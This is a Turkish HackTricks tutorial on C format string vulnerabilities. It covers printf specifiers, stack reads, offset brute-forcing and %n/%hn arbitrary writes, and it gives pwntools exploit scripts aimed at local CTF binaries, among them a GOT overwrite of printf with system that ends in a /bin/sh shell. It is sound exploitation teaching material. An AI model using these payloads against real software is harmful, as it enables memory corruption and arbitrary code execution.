Format Strings

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

C'de printf bazı metinleri yazdırmak için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği ilk parametre, formatlayıcılarla birlikte ham metin'dir. Beklenen sonraki parametreler, ham metindeki formatlayıcıları değiştirmek için gereken değerlerdir.

Diğer savunmasız fonksiyonlar sprintf() ve fprintf()'dir.

Zafiyet, bu fonksiyona ilk argüman olarak bir saldırgan metni kullanıldığında ortaya çıkar. Saldırgan, printf format dizesinin yeteneklerini kötüye kullanarak herhangi bir adreste (okunabilir/yazılabilir) herhangi bir veriyi okumak ve yazmak için özel bir girdi oluşturma yeteneğine sahip olacaktır. Bu şekilde rastgele kod çalıştırma imkanı bulur.

Formatlayıcılar:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Örnekler:

  • Açık örnek:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normal Kullanım:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Eksik Argümanlarla:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf zayıf:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Pointer'lara Erişim

Format %<n>$x, burada n bir sayı, printf'e n parametresini (stack'ten) seçmesini belirtir. Yani, printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:

c
printf("%x %x %x %x")

ve birinci parametreden dördüncü parametreye kadar okuyabilirsiniz.

Ya da şunu yapabilirsiniz:

c
printf("%4$x")

ve doğrudan dördüncüyü okuyun.

Saldırganın printf parametresini kontrol ettiğini unutmayın, bu temelde girdiğinin printf çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığına yazabileceği anlamına gelir.

caution

Bu girişi kontrol eden bir saldırgan, yığında rastgele adresler ekleyebilir ve printf'in bunlara erişmesini sağlayabilir. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır.

Rastgele Okuma

Biçimlendiriciyi %n$s kullanarak printf'in n pozisyonunda bulunan adresi almasını sağlamak mümkündür, ardından bunu bir dizeymiş gibi yazdırır (0x00 bulunana kadar yazdırır). Yani, ikili dosyanın temel adresi 0x8048000 ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü dize, o adresin sonunda 0x00 ile kesilecektir.

Ofseti Bul

Girişinizin ofsetini bulmak için 4 veya 8 bayt (0x41414141) gönderebilir ve ardından %1$x ile değeri artırarak A'leri alana kadar devam edebilirsiniz.

Brute Force printf ofseti
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Ne kadar faydalı

Rastgele okumalar şunlar için faydalı olabilir:

  • Bellekten ikili dosyayı dökme
  • Hassas bilgilerin saklandığı bellek bölümlerine (canary'ler, şifreleme anahtarları veya bu CTF zorluğu gibi özel şifreler) erişim sağlama

Rastgele Yazma

Formatlayıcı %<num>$n yazılan baytların sayısını belirtilen adrese yazar. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, %<num>$n'nin rastgele bir sayıyı rastgele bir adrese yazmasını sağlayabilir.

Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bu nedenle %.<num-write>%<num>$n formatlayıcısını kullanarak <num-write> sayısını num pozisyonu tarafından gösterilen adrese yazmak mümkündür.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Ancak, genellikle 0x08049724 gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), $hn kullanılır, $n yerine. Bu, sadece 2 Bayt yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için.

Bu nedenle, bu zafiyet herhangi bir adrese (keyfi yazma) yazmaya olanak tanır.

Bu örnekte, hedef, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun adresini üst üste yazmak olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir:

Write What Where 2 Exec

Bir fonksiyonu üst üste yazacağız ki bu kullanıcıdan argümanlarını alır ve system fonksiyonuna işaret eder.
Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için $hn kullanılır.

  • HOB, adresin 2 en yüksek baytına çağrılır
  • LOB, adresin 2 en düşük baytına çağrılır

Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce [HOB, LOB]'nin en küçüğünü yazmanız ve ardından diğerini yazmanız gerekir.

Eğer HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Eğer HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Şablonu

Bu tür bir zafiyet için bir exploit hazırlamak üzere bir şablon bulabilirsiniz:

Format Strings Template

Ya da buradan bu temel örneği inceleyebilirsiniz:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format String'leri ile BOF

Bir format stringi zafiyetinin yazma eylemlerini kötüye kullanarak stack adreslerine yazmak ve buffer overflow türü bir zafiyeti istismar etmek mümkündür.

Diğer Örnekler ve Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin